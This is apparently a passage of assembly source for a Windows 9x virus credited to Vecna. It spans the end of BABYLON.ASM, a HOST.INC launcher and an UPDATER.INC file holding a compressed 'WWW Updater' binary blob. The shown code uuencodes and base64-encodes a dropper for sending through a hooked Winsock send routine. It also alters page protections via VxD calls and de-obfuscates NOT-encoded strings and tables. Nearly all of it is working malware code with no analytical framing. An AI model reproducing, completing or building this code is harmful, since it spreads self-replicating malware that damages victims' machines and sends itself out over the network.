;EDI=Buffer
|
|
;ECX=Size of data
|
|
uuencode proc
|
|
cld
|
|
push edi
|
|
push esi
|
|
push ecx
|
|
mov eax, 065620A0Dh
|
|
stosw
|
|
stosd
|
|
mov eax, not ' nig'
|
|
not eax
|
|
stosd
|
|
mov eax, not ' 446'
|
|
not eax
|
|
stosd
|
|
call ninsert ;insert dropper name
|
|
mov ax, 0A0Dh
|
|
stosw
|
|
mov eax, [esp] ;eax=size
|
|
cdq
|
|
push 45
|
|
pop ebx
|
|
div ebx ;dl=rest in last line
|
|
mov ecx, eax ;ecx=number of lines
|
|
pop ebp ;esi=start of data
|
|
pop esi
|
|
add ebp, esi ;ebp=end of data
|
|
@@line:
|
|
push ecx
|
|
mov al, "M" ;start of line
|
|
stosb
|
|
push 15
|
|
pop ecx ;read 15*3 => write 15*4
|
|
@@octet:
|
|
call getbyte
|
|
shr al, 2
|
|
call convert ;1st char
|
|
shl al, 4
|
|
and al, 00110000b
|
|
mov bh, al
|
|
call getbyte
|
|
shr al, 4
|
|
and al, 00001111b
|
|
or al, bh
|
|
call convert ;2nd char
|
|
shl al, 2
|
|
and al, 11111100b
|
|
mov bh, al
|
|
call getbyte
|
|
shr al, 6
|
|
and al, 00000011b
|
|
or al, bh
|
|
call convert ;3th char
|
|
call convert ;4th char
|
|
loop @@octet
|
|
mov ax, 0A0Dh
|
|
stosw
|
|
pop ecx
|
|
loop @@line ;do next line
|
|
mov eax, edx
|
|
test al, al
|
|
jz @@end
|
|
add al, 20h ;do remainder
|
|
stosb
|
|
xor eax, eax
|
|
mov al, dl
|
|
xor edx, edx
|
|
xor ecx, ecx
|
|
push 3
|
|
pop ebx
|
|
div ebx
|
|
mov ecx, eax
|
|
test edx, edx
|
|
jz @@no_rest
|
|
inc cx ;octets to make
|
|
@@no_rest:
|
|
push 1 ;is last line
|
|
sub edx, edx ;with no rest
|
|
jmp @@octet
|
|
@@end:
|
|
mov eax, 0650A0D60h ;"end"
|
|
stosd
|
|
mov eax, 00A0D646Eh
|
|
stosd
|
|
shr eax, 16 ;cr+lf
|
|
stosw
|
|
pop ecx
|
|
sub edi, ecx
|
|
xchg edi, ecx
|
|
ret
|
|
uuencode endp
|
|
|
|
|
|
wsock db 'WSOCK32.DLL', 0
|
|
|
|
|
|
convert proc
|
|
and al, 00111111b
|
|
jnz @@0
|
|
add al, 40h
|
|
@@0:
|
|
add al, 20h
|
|
stosb
|
|
mov al, ah
|
|
ret
|
|
convert endp
|
|
|
|
|
|
getbyte proc
|
|
cmp esi, ebp ;end of buffer?
|
|
jne @@load
|
|
xor al, al
|
|
db 0b4h ;skip LODSB
|
|
@@load:
|
|
lodsb
|
|
mov ah, al ;backup
|
|
ret
|
|
getbyte endp
|
|
|
|
|
|
protect proc
|
|
inc ecx
|
|
add ecx, 4096 ;tnz again to z0mbie!
|
|
shr ecx, 12
|
|
test ebx, 4095
|
|
jnz @@forget
|
|
shr ebx, 12
|
|
push 0
|
|
push not (00020000h+00040000h) ;not writeable+user
|
|
push ecx
|
|
push ebx
|
|
push 00010133h ;PageModifyPermissions
|
|
call vxd
|
|
add esp, 4*4
|
|
@@forget:
|
|
ret
|
|
protect endp
|
|
|
|
|
|
safesend proc
|
|
pusha
|
|
@@retry:
|
|
mov eax, [esp+4+(8*4)]
|
|
mov ecx, [esp+8+(8*4)]
|
|
push 0
|
|
push ecx ;size
|
|
push eax ;buffer
|
|
push dwo [ebp+(ofs socket_out-ofs vcode)]
|
|
call [ebp+(ofs oldsend-ofs vcode)]
|
|
mov ecx, eax
|
|
inc ecx
|
|
jnz @@done
|
|
db 0b8h
|
|
_WSAGetLastError dd 0
|
|
call eax
|
|
sub eax, 10035 ;EWOULDBLOCK?
|
|
jz @@retry
|
|
stc ;error
|
|
db 0b1h
|
|
@@done:
|
|
clc
|
|
mov [esp+(7*4)], eax
|
|
popa
|
|
ret 2*4
|
|
safesend endp
|
|
|
|
|
|
;esi=input
|
|
;edi=output
|
|
;eax=size
|
|
BASE64 proc
|
|
cld
|
|
push edi
|
|
push 3
|
|
call @@trans
|
|
trans_table = $
|
|
db 'A','B','C','D','E','F','G','H','I','J'
|
|
db 'K','L','M','N','O','P','Q','R','S','T'
|
|
db 'U','V','W','X','Y','Z','a','b','c','d'
|
|
db 'e','f','g','h','i','j','k','l','m','n'
|
|
db 'o','p','q','r','s','t','u','v','w','x'
|
|
db 'y','z','0','1','2','3','4','5','6','7'
|
|
db '8','9','+','/'
|
|
chars dd ? ;contador de caracteres
|
|
@@trans:
|
|
pop ebx
|
|
push (ofs chars-ofs trans_table)
|
|
pop ecx
|
|
@@1:
|
|
not by [ebx+ecx-1] ;crazy, isnt? ;)
|
|
loop @@1 ;now, imagine what i can do if i wasnt stoned all time
|
|
pop ecx
|
|
cdq
|
|
mov dwo [ebx+ecx+((ofs chars-ofs trans_table)-3)], edx ;tricky ;)
|
|
div ecx
|
|
mov ecx, eax
|
|
push edx
|
|
@@loop:
|
|
lodsd
|
|
dec esi ;edx=original
|
|
mov edx, eax ;edx=work copy
|
|
call Temp
|
|
call CODE64Block3
|
|
call CODE64Block4
|
|
loop @@loop
|
|
pop ecx ;get rest
|
|
jecxz @@done
|
|
lodsd
|
|
dec ecx
|
|
jz @@rest1
|
|
movzx edx, ax ;use only 2 bytes
|
|
call Temp
|
|
call CODE64Block3
|
|
jmp @@end
|
|
@@rest1:
|
|
movzx edx, al ;use 1 byte only
|
|
call Temp
|
|
inc ecx
|
|
inc ecx
|
|
@@end:
|
|
mov al, '='
|
|
rep stosb
|
|
@@done:
|
|
mov eax, 0A0D0A0Dh
|
|
stosd
|
|
push (ofs chars-ofs trans_table)
|
|
pop ecx
|
|
@@2:
|
|
not by [ebx+ecx-1]
|
|
loop @@2
|
|
pop ecx
|
|
sub edi, ecx ;edi=buffer
|
|
xchg ecx, edi ;ecx=size
|
|
ret
|
|
BASE64 endp
|
|
|
|
|
|
Temp proc
|
|
call CODE64Block1 ;little optimizing routine
|
|
call CODE64Block2
|
|
ret
|
|
Temp endp
|
|
|
|
|
|
CODE64Block1:
|
|
mov eax, edx
|
|
shr eax, 02h
|
|
process3:
|
|
jmp process
|
|
|
|
CODE64Block2:
|
|
mov eax, edx
|
|
shl al, 04h
|
|
shr ah, 04h
|
|
process2:
|
|
or al, ah ;chained jmps
|
|
jmp process3 ;another "why make it easy?" (c) Vecna ;)
|
|
|
|
CODE64Block3:
|
|
mov eax, edx
|
|
shr eax, 08h
|
|
shl al, 02h
|
|
shr ah, 06h
|
|
jmp process2
|
|
|
|
CODE64Block4:
|
|
mov eax,edx
|
|
shr eax,10h
|
|
|
|
process:
|
|
and al,00111111b
|
|
xlatb
|
|
stosb
|
|
mov eax, dwo [ebx+(ofs chars-ofs trans_table)]
|
|
inc eax
|
|
mov dwo [ebx+(ofs chars-ofs trans_table)], eax
|
|
pusha
|
|
push 0000004Ch
|
|
pop ecx
|
|
cdq
|
|
div ecx
|
|
test edx, edx
|
|
popa
|
|
jnz @@noline
|
|
mov ax, 0A0Dh
|
|
stosw
|
|
@@noline:
|
|
ret
|
|
|
|
align 4
|
|
|
|
|
|
vend equ this byte
|
|
|
|
db 'EOV', 0
|
|
|
|
_VIRUS ends
|
|
|
|
end main
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[BABYLON.ASM]ÄÄÄ
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[HOST.INC]ÄÄÄ
|
|
_TEXT segment dword use32 public 'CODE'
|
|
|
|
main proc
|
|
call init001
|
|
push 0
|
|
push ofs caption
|
|
push ofs msg
|
|
push 0
|
|
temp1 equ $
|
|
call virusmain
|
|
extrn MessageBoxA:PROC
|
|
call MessageBoxA
|
|
push 0
|
|
extrn ExitProcess:PROC
|
|
call ExitProcess
|
|
main endp
|
|
|
|
init001 proc
|
|
mov esi, ofs hlp1_s
|
|
mov edi, esi
|
|
mov ecx, hlp1_sz
|
|
@@1:
|
|
lodsb
|
|
not al
|
|
stosb
|
|
loop @@1
|
|
|
|
mov esi, ofs bound_
|
|
mov edi, esi
|
|
mov ecx, bound_sz
|
|
@@2:
|
|
lodsb
|
|
not al
|
|
stosb
|
|
loop @@2
|
|
|
|
mov esi, ofs script
|
|
mov edi, esi
|
|
mov ecx, script_sz
|
|
@@3:
|
|
lodsb
|
|
not al
|
|
stosb
|
|
loop @@3
|
|
|
|
mov esi, ofs name0
|
|
mov edi, esi
|
|
mov ecx, name_sz
|
|
@@4:
|
|
lodsb
|
|
not al
|
|
stosb
|
|
loop @@4
|
|
|
|
mov esi, ofs trans_table
|
|
mov edi, esi
|
|
mov ecx, (ofs chars-ofs trans_table)
|
|
@@5:
|
|
lodsb
|
|
not al
|
|
stosb
|
|
loop @@5
|
|
|
|
ret
|
|
init001 endp
|
|
|
|
|
|
_TEXT ends
|
|
|
|
_DATA segment dword use32 public 'DATA'
|
|
|
|
IF DEBUG EQ TRUE
|
|
caption db 'Vecna virus (DEBUG)', 0
|
|
ELSE
|
|
caption db 'Vecna virus', 0
|
|
ENDIF
|
|
|
|
msg db 'You just released a Win9x virus!', 0
|
|
|
|
_DATA ends
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[HOST.INC]ÄÄÄ
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[UPDATER.INC]ÄÄÄ
|
|
;Compressed WWW Updater
|
|
;(C) Vecna
|
|
|
|
db 04Dh, 038h, 05Ah, 090h, 038h, 003h, 066h, 002h
|
|
db 004h, 009h, 071h, 0FFh, 081h, 0B8h, 0C2h, 091h
|
|
db 001h, 040h, 0C2h, 015h, 0C6h, 080h, 009h, 00Eh
|
|
db 0B4h, 04Ch, 0CDh, 021h, 015h, 001h, 0EBh, 018h
|
|
db 050h, 045h, 008h, 04Ch, 001h, 053h, 003h, 014h
|
|
db 0CEh, 0E0h, 003h, 00Fh, 001h, 00Bh, 096h, 013h
|
|
db 065h, 008h, 009h, 006h, 032h, 015h, 010h, 09Ch
|
|
db 022h, 052h, 040h, 010h, 020h, 002h, 057h, 001h
|
|
db 051h, 08Ah, 040h, 018h, 04Eh, 015h, 007h, 0D9h
|
|
db 053h, 020h, 04Dh, 008h, 0EEh, 095h, 04Bh, 095h
|
|
db 030h, 011h, 0E5h, 06Bh, 001h, 0A0h, 043h, 04Fh
|
|
db 044h, 052h, 045h, 08Dh, 0DDh, 02Bh, 0ECh, 095h
|
|
db 002h, 024h, 0A5h, 041h, 0B7h, 040h, 044h, 041h
|
|
db 054h, 0CAh, 0B9h, 028h, 020h, 04Ch, 024h, 00Ah
|
|
db 0A5h, 0F3h, 060h, 0C0h, 02Eh, 069h, 064h, 039h
|
|
db 061h, 074h, 053h, 028h, 024h, 030h, 0D1h, 0E5h
|
|
db 00Ch, 02Ah, 028h, 052h, 088h, 0A0h, 0FCh, 068h
|
|
db 003h, 040h, 080h, 0E8h, 032h, 0A6h, 005h, 00Bh
|
|
db 002h, 020h, 02Bh, 0C0h, 050h, 06Ah, 073h, 001h
|
|
db 0E8h, 068h, 031h, 080h, 021h, 05Ch, 0E8h, 0EAh
|
|
db 043h, 016h, 035h, 07Ah, 095h, 044h, 065h, 080h
|
|
db 00Ch, 0FAh, 0FFh, 074h, 059h, 00Ah, 0FEh, 0EAh
|
|
db 048h, 009h, 0C7h, 005h, 04Ch, 021h, 0B0h, 021h
|
|
db 068h, 05Bh, 060h, 010h, 012h, 064h, 067h, 0FFh
|
|
db 036h, 0E1h, 088h, 00Dh, 089h, 026h, 03Ah, 014h
|
|
db 025h, 050h, 03Ah, 032h, 03Ah, 06Bh, 08Bh, 0ACh
|
|
db 00Bh, 02Eh, 08Fh, 040h, 006h, 058h, 028h, 083h
|
|
db 03Dh, 033h, 0C1h, 082h, 018h, 068h, 060h, 0EAh
|
|
db 098h, 0A1h, 04Eh, 0B5h, 0EBh, 0C2h, 070h, 06Ah
|
|
db 0A4h, 068h, 06Dh, 0FEh, 05Dh, 018h, 0DDh, 02Dh
|
|
db 08Fh, 02Bh, 081h, 0ECh, 08Dh, 001h, 077h, 0D9h
|
|
db 068h, 0A9h, 00Fh, 01Eh, 091h, 0DAh, 003h, 085h
|
|
db 0C0h, 00Fh, 084h, 0B2h, 028h, 0E1h, 005h, 012h
|
|
db 006h, 08Bh, 0F8h, 0BEh, 0C8h, 020h, 00Eh, 031h
|
|
db 0B9h, 00Eh, 023h, 0F3h, 0A4h, 094h, 073h, 0DCh
|
|
db 022h, 0C8h, 090h, 0AAh, 039h, 00Ah, 055h, 050h
|
|
db 0E8h, 0C2h, 014h, 064h, 07Ch, 04Ah, 0BEh, 036h
|
|
db 08Eh, 0FDh, 0BAh, 04Ch, 0FFh, 002h, 047h, 003h
|
|
db 0ACh, 084h, 0C0h, 074h, 06Fh, 038h, 0BDh, 00Ah
|
|
db 08Bh, 0F5h, 07Fh, 061h, 055h, 0E8h, 08Ah, 050h
|
|
db 02Ch, 074h, 054h, 02Bh, 01Bh, 0EDh, 068h, 07Ch
|
|
db 023h, 0AAh, 078h, 08Fh, 016h, 069h, 03Fh, 08Dh
|
|
db 087h, 00Ch, 0BFh, 002h, 037h, 025h, 0D9h, 0D4h
|
|
db 002h, 002h, 080h, 0E8h, 0E6h, 0A0h, 028h, 075h
|
|
db 025h, 06Ah, 00Ch, 034h, 068h, 0C9h, 02Bh, 082h
|
|
db 029h, 055h, 0A2h, 008h, 0FFh, 035h, 08Ah, 031h
|
|
db 072h, 0A9h, 00Bh, 091h, 0C3h, 018h, 0BAh, 0FEh
|
|
db 0DDh, 0EBh, 005h, 0EFh, 0BCh, 00Dh, 094h, 081h
|
|
db 0C4h, 096h, 083h, 0C3h, 080h, 03Dh, 049h, 09Ah
|
|
db 038h, 014h, 00Fh, 085h, 00Eh, 014h, 0FEh, 005h
|
|
db 00Dh, 050h, 0F0h, 090h, 089h, 054h, 0EFh, 0AEh
|
|
db 00Dh, 036h, 0E8h, 062h, 06Fh, 056h, 045h, 090h
|
|
db 057h, 0BAh, 034h, 0D8h, 042h, 06Ah, 040h, 068h
|
|
db 041h, 0CEh, 010h, 0B4h, 0FEh, 0FAh, 08Ch, 022h
|
|
db 01Dh, 0C6h, 043h, 0A3h, 05Ch, 0C4h, 0A6h, 0DAh
|
|
db 045h, 0B3h, 0A8h, 0E0h, 00Eh, 0D4h, 03Eh, 0A3h
|
|
db 08Ch, 011h, 00Bh, 0E8h, 061h, 013h, 07Bh, 00Fh
|
|
db 082h, 088h, 088h, 037h, 08Bh, 03Dh, 041h, 003h
|
|
db 0F8h, 089h, 0E1h, 054h, 048h, 093h, 036h, 0A9h
|
|
db 0C2h, 073h, 0C4h, 060h, 057h, 0AAh, 0F3h, 0B1h
|
|
db 02Ch, 0E7h, 080h, 04Dh, 072h, 05Dh, 081h, 039h
|
|
db 056h, 04Dh, 098h, 08Dh, 00Ah, 075h, 055h, 083h
|
|
db 079h, 096h, 01Eh, 077h, 043h, 00Fh, 0B7h, 041h
|
|
db 008h, 0D3h, 0E0h, 0B7h, 0D0h, 0F8h, 007h, 075h
|
|
db 043h, 000h, 08Bh, 079h, 014h, 003h, 0F9h, 068h
|
|
db 052h, 012h, 091h, 0E2h, 051h, 060h, 015h, 019h
|
|
db 0FCh, 0F6h, 068h, 016h, 00Ch, 042h, 06Ch, 026h
|
|
db 0D7h, 013h, 0CAh, 0ECh, 049h, 004h, 0F7h, 060h
|
|
db 038h, 061h, 028h, 0EBh, 086h, 09Dh, 070h, 0C0h
|
|
db 0ACh, 0C1h, 016h, 057h, 0E8h, 063h, 05Dh, 0E9h
|
|
db 059h, 08Eh, 00Bh, 0C6h, 04Dh, 0FDh, 020h, 012h
|
|
db 060h, 01Ch, 08Bh, 044h, 024h, 07Ah, 03Ah, 04Ch
|
|
db 028h, 028h, 0DDh, 032h, 051h, 050h, 098h, 058h
|
|
db 023h, 0E8h, 04Ah, 003h, 041h, 08Bh, 0C8h, 041h
|
|
db 075h, 00Eh, 0D7h, 0FCh, 015h, 02Dh, 030h, 033h
|
|
db 027h, 00Ah, 074h, 0D8h, 0F9h, 051h, 0B1h, 0C9h
|
|
db 085h, 056h, 01Ch, 061h, 0C2h, 085h, 028h, 02Eh
|
|
db 034h, 021h, 01Ch, 064h, 024h, 03Eh, 02Ah, 06Ah
|
|
db 0B2h, 0E8h, 002h, 071h, 0E8h, 092h, 006h, 051h
|
|
db 0A3h, 032h, 0CAh, 041h, 040h, 0F9h, 016h, 02Fh
|
|
db 0A0h, 09Ch, 0D2h, 0A9h, 024h, 014h, 015h, 0E1h
|
|
db 041h, 050h, 08Bh, 0F4h, 0F8h, 010h, 056h, 0A6h
|
|
db 052h, 061h, 0E2h, 023h, 083h, 0ECh, 0F0h, 022h
|
|
db 089h, 073h, 088h, 08Bh, 07Ch, 028h, 024h, 02Ch
|
|
db 0C5h, 042h, 010h, 012h, 080h, 002h, 062h, 0A0h
|
|
db 0A9h, 020h, 0B8h, 047h, 045h, 054h, 00Ah, 020h
|
|
db 0ABh, 08Bh, 074h, 08Dh, 00Ch, 0E8h, 0AFh, 01Fh
|
|
db 0BEh, 048h, 053h, 058h, 088h, 0A5h, 0B7h, 027h
|
|
db 01Fh, 028h, 09Ch, 086h, 0B8h, 00Dh, 00Ah, 004h
|
|
db 031h, 0ABh, 02Bh, 07Fh, 057h, 0FFh, 08Fh, 028h
|
|
db 030h, 0E8h, 0D2h, 041h, 023h, 072h, 071h, 08Bh
|
|
db 05Ch, 04Ch, 04Fh, 053h, 098h, 0F6h, 0A0h, 011h
|
|
db 060h, 003h, 04Dh, 0D8h, 059h, 030h, 0EDh, 06Dh
|
|
db 02Ch, 02Bh, 0DEh, 060h, 089h, 03Ah, 01Ch, 081h
|
|
db 03Eh, 048h, 071h, 054h, 03Ah, 050h, 075h, 080h
|
|
db 0B9h, 043h, 06Fh, 06Eh, 074h, 087h, 0D9h, 01Fh
|
|
db 0ACh, 03Ah, 0C3h, 003h, 017h, 039h, 05Eh, 0FFh
|
|
db 0A8h, 012h, 081h, 07Eh, 033h, 003h, 065h, 024h
|
|
db 02Dh, 0F3h, 009h, 007h, 012h, 007h, 054h, 079h
|
|
db 070h, 0CFh, 067h, 004h, 0E2h, 011h, 0E3h, 021h
|
|
db 046h, 094h, 01Ch, 0FCh, 069h, 00Ch, 075h, 0F6h
|
|
db 089h, 086h, 018h, 0AEh, 0C3h, 0FFh, 04Ah, 0EDh
|
|
db 00Ah, 0F8h, 0EBh, 011h, 013h, 062h, 0FAh, 001h
|
|
db 039h, 0F9h, 021h, 016h, 071h, 01Eh, 062h, 00Bh
|
|
db 004h, 003h, 0AAh, 0EBh, 0F8h, 0C1h, 099h, 03Eh
|
|
db 02Eh, 0E5h, 016h, 084h, 00Ah, 041h, 072h, 00Fh
|
|
db 002h, 07Ah, 077h, 00Ah, 001h, 05Ah, 076h, 007h
|
|
db 000h, 061h, 073h, 002h, 012h, 0F8h, 0B0h, 0F9h
|
|
db 042h, 0A4h, 0F1h, 0E8h, 0DBh, 090h, 0A5h, 003h
|
|
db 046h, 013h, 0EBh, 0F6h, 0BFh, 023h, 03Fh, 0A1h
|
|
db 084h, 04Eh, 0ABh, 0CAh, 004h, 006h, 006h, 04Fh
|
|
db 0E8h, 0BFh, 039h, 010h, 073h, 003h, 0A4h, 05Ch
|
|
db 03Ch, 07Eh, 0A0h, 07Eh, 03Bh, 035h, 044h, 054h
|
|
db 061h, 049h, 0C3h, 071h, 04Ch, 011h, 014h, 015h
|
|
db 064h, 077h, 04Ah, 04Fh, 0C5h, 08Bh, 041h, 024h
|
|
db 008h, 0EBh, 01Dh, 036h, 04Ah, 083h, 06Ah, 0F0h
|
|
db 058h, 0F8h, 003h, 040h, 028h, 073h, 08Bh, 005h
|
|
db 008h, 081h, 048h, 020h, 080h, 013h, 09Ah, 029h
|
|
db 035h, 0B0h, 074h, 036h, 002h, 08Bh, 00Dh, 060h
|
|
db 044h, 075h, 0E3h, 06Bh, 0FFh, 0D1h, 037h, 0A3h
|
|
db 048h, 013h, 041h, 074h, 066h, 0C7h, 063h, 0FDh
|
|
db 02Eh, 028h, 018h, 052h, 08Ah, 0D2h, 018h, 032h
|
|
db 0C2h, 070h, 0C6h, 00Fh, 031h, 074h, 047h, 0FCh
|
|
db 0BFh, 0A4h, 081h, 017h, 0F2h, 0AEh, 0FDh, 0B0h
|
|
db 05Ch, 080h, 00Ah, 0FCh, 08Bh, 047h, 002h, 00Dh
|
|
db 020h, 0C1h, 003h, 03Dh, 072h, 06Eh, 061h, 0C4h
|
|
db 074h, 013h, 0A7h, 033h, 0BFh, 0C4h, 0EBh, 052h
|
|
db 0CBh, 00Eh, 048h, 0AEh, 0D6h, 00Ah, 07Ah, 0FCh
|
|
db 0C4h, 01Eh, 0C3h, 0D4h, 05Ch, 006h, 04Ch, 09Bh
|
|
db 011h, 0D1h, 020h, 058h, 0DAh, 0C6h, 0E8h, 082h
|
|
db 03Bh, 0A4h, 011h, 011h, 02Eh, 068h, 0D6h, 03Bh
|
|
db 050h, 02Ah, 0FEh, 006h, 043h, 0EFh, 010h, 01Dh
|
|
db 021h, 088h, 00Ch, 064h, 02Ch, 020h, 0BFh, 0C3h
|
|
db 015h, 0C5h, 0C1h, 0D7h, 0A3h, 015h, 0F5h, 007h
|
|
db 023h, 068h, 011h, 06Ch, 088h, 070h, 0C4h, 074h
|
|
db 062h, 044h, 029h, 013h, 05Eh, 0D8h, 025h, 0E0h
|
|
db 030h, 0DDh, 023h, 095h, 0E4h, 006h, 021h, 0E8h
|
|
db 090h, 0ECh, 0C8h, 0F0h, 064h, 0F4h, 032h, 0F8h
|
|
db 019h, 0FCh, 00Dh, 0C1h, 031h, 008h, 004h, 086h
|
|
db 043h, 008h, 021h, 00Ch, 090h, 010h, 0C8h, 014h
|
|
db 064h, 018h, 032h, 020h, 019h, 024h, 00Ch, 028h
|
|
db 086h, 043h, 02Ch, 021h, 030h, 090h, 034h, 0C8h
|
|
db 038h, 064h, 03Ch, 032h, 044h, 019h, 04Ch, 00Ch
|
|
db 050h, 086h, 045h, 054h, 05Eh, 001h, 0FBh, 0C1h
|
|
db 02Fh, 076h, 065h, 063h, 061h, 021h, 082h, 00Ch
|
|
db 069h, 072h, 075h, 073h, 0E1h, 004h, 078h, 0CBh
|
|
db 087h, 060h, 06Fh, 06Bh, 034h, 065h, 0DFh, 02Ah
|
|
db 0FEh, 0AEh, 07Ah, 079h, 03Ch, 075h, 0C5h, 007h
|
|
db 06Ah, 070h, 0C7h, 0A5h, 0B0h, 066h, 074h, 077h
|
|
db 061h, 07Fh, 072h, 00Eh, 05Ch, 04Dh, 069h, 063h
|
|
db 0DFh, 01Bh, 073h, 01Dh, 0D3h, 057h, 0D1h, 06Eh
|
|
db 064h, 0E9h, 077h, 0EFh, 0C0h, 043h, 075h, 072h
|
|
db 0D7h, 030h, 00Dh, 090h, 056h, 062h, 0F1h, 069h
|
|
db 007h, 0F7h, 052h, 0FFh, 097h, 017h, 01Ch, 020h
|
|
db 0BAh, 02Fh, 031h, 02Eh, 0E5h, 070h, 08Fh, 055h
|
|
db 061h, 073h, 030h, 02Dh, 041h, 067h, 080h, 043h
|
|
db 03Ah, 020h, 04Dh, 06Fh, 07Ah, 069h, 071h, 06Ch
|
|
db 0C3h, 0D6h, 034h, 02Eh, 030h, 0E1h, 028h, 063h
|
|
db 0F4h, 06Dh, 070h, 0B0h, 096h, 007h, 069h, 062h
|
|
db 06Ch, 065h, 03Bh, 0D5h, 056h, 023h, 082h, 029h
|
|
db 0BEh, 05Ch, 078h, 041h, 0F3h, 0FDh, 070h, 08Fh
|
|
db 055h, 069h, 06Dh, 0F9h, 066h, 02Fh, 0CFh, 0B9h
|
|
db 066h, 02Ch, 04Ch, 00Bh, 078h, 072h, 02Dh, 07Eh
|
|
db 062h, 040h, 074h, 070h, 0ACh, 011h, 0A3h, 094h
|
|
db 0A7h, 06Ch, 018h, 02Ah, 0F1h, 0CBh, 028h, 06Ah
|
|
db 048h, 090h, 0DCh, 067h, 001h, 05Ch, 04Bh, 045h
|
|
db 052h, 04Eh, 0CCh, 04Ch, 033h, 03Ch, 032h, 02Eh
|
|
db 03Dh, 058h, 070h, 051h, 043h, 094h, 0B9h, 0BCh
|
|
db 09Ch, 054h, 06Fh, 04Fh, 06Ch, 068h, 03Ch, 0D9h
|
|
db 070h, 02Ah, 053h, 0BBh, 0C2h, 03Dh, 073h, 0FFh
|
|
db 0A1h, 0DEh, 050h, 046h, 0BFh, 0C8h, 0F5h, 0EFh
|
|
db 028h, 024h, 046h, 0F1h, 0EFh, 04Bh, 00Fh, 03Bh
|
|
db 04Eh, 054h, 0FBh, 047h, 0F7h, 0D2h, 082h, 0A5h
|
|
db 064h, 075h, 082h, 094h, 048h, 061h, 08Ch, 0DDh
|
|
db 00Ch, 041h, 0A2h, 011h, 08Fh, 022h, 03Fh, 07Fh
|
|
db 076h, 0DCh, 04Dh, 019h, 052h, 0EAh, 069h, 0A8h
|
|
db 06Ah, 0D2h, 069h, 053h, 006h, 00Dh, 030h, 070h
|
|
db 04Dh, 03Dh, 033h, 000h, 0FFh, 085h, 064h, 030h
|
|
db 028h, 00Ch, 05Ch, 040h, 031h, 0E0h, 0CAh, 021h
|
|
db 0A4h, 014h, 059h, 069h, 013h, 020h, 029h, 009h
|
|
db 0C8h, 014h, 064h, 075h, 048h, 044h, 090h, 0D0h
|
|
db 0F2h, 080h, 024h, 04Ch, 054h, 001h, 0B8h, 08Eh
|
|
db 0CCh, 031h, 0A4h, 009h, 0AEh, 089h, 0C4h, 012h
|
|
db 0D0h, 024h, 0E6h, 048h, 0FCh, 088h, 010h, 032h
|
|
db 011h, 01Eh, 022h, 02Eh, 044h, 03Eh, 04Ch, 089h
|
|
db 05Eh, 012h, 066h, 024h, 076h, 054h, 001h, 033h
|
|
db 084h, 011h, 08Eh, 022h, 009h, 096h, 044h, 09Eh
|
|
db 0ACh, 089h, 0BAh, 012h, 0CCh, 025h, 0D6h, 032h
|
|
db 024h, 0E4h, 099h, 008h, 0F4h, 011h, 006h, 033h
|
|
db 003h, 018h, 0A5h, 02Ah, 07Ch, 0A9h, 032h, 093h
|
|
db 0D3h, 01Ch, 04Dh, 078h, 002h, 057h, 053h, 04Fh
|
|
db 043h, 04Bh, 099h, 00Ch, 055h, 0F3h, 053h, 034h
|
|
db 00Bh, 00Eh, 041h, 044h, 056h, 065h, 050h, 049h
|
|
db 036h, 00Dh, 003h, 09Ah, 073h, 026h, 053h, 079h
|
|
db 065h, 089h, 06Dh, 044h, 08Bh, 0A1h, 00Fh, 018h
|
|
db 08Eh, 06Fh, 0BFh, 06Fh, 02Bh, 0FFh, 023h, 06Eh
|
|
db 045h, 078h, 066h, 01Eh, 015h, 053h, 040h, 098h
|
|
db 0BBh, 09Ah, 09Ch, 0EDh, 0DDh, 072h, 060h, 03Eh
|
|
db 075h, 0CBh, 050h, 073h, 0E4h, 01Eh, 00Ah, 043h
|
|
db 06Fh, 070h, 079h, 017h, 0A8h, 02Ch, 0C9h, 032h
|
|
db 074h, 091h, 09Ch, 066h, 098h, 021h, 053h, 04Dh
|
|
db 06Eh, 067h, 0D3h, 02Dh, 039h, 0DCh, 040h, 027h
|
|
db 04Eh, 061h, 06Dh, 0AAh, 02Bh, 065h, 0F2h, 0CAh
|
|
db 04Ch, 03Fh, 058h, 052h, 053h, 010h, 052h, 070h
|
|
db 01Bh, 045h, 072h, 09Ah, 09Eh, 04Fh, 0A3h, 00Fh
|
|
db 080h, 049h, 073h, 042h, 07Ah, 061h, 0A4h, 063h
|
|
db 0DAh, 0B8h, 021h, 08Dh, 097h, 016h, 063h, 009h
|
|
db 096h, 07Dh, 031h, 046h, 040h, 08Ch, 0B0h, 0D4h
|
|
db 0CAh, 011h, 056h, 0CFh, 007h, 074h, 075h, 061h
|
|
db 0D5h, 041h, 01Bh, 0E6h, 03Eh, 085h, 028h, 010h
|
|
db 046h, 0D4h, 050h, 057h, 033h, 073h, 02Ah, 06Bh
|
|
db 051h, 076h, 018h, 0B5h, 0F6h, 0F2h, 015h, 008h
|
|
db 0FDh, 028h, 076h, 008h, 0EDh, 049h, 08Eh, 05Dh
|
|
db 01Fh, 020h, 045h, 041h, 0A1h, 0D3h, 061h, 0B5h
|
|
db 075h, 0A6h, 026h, 00Eh, 0E3h, 015h, 04Ch, 061h
|
|
db 073h, 0A3h, 094h, 02Eh, 05Ch, 083h, 071h, 075h
|
|
db 065h, 0A6h, 02Ah, 0A2h, 0C9h, 0E3h, 005h, 0FDh
|
|
db 023h, 02Ah, 050h, 015h, 0CCh, 06Bh, 04Dh, 092h
|
|
db 05Ch, 03Ch, 056h, 0E4h, 059h, 0CAh, 054h, 0D9h
|
|
db 056h, 0A1h, 080h, 075h, 0E6h, 08Ah, 0C1h, 012h
|
|
db 0CBh, 0B1h, 035h, 04Bh, 0E5h, 079h, 0A9h, 027h
|
|
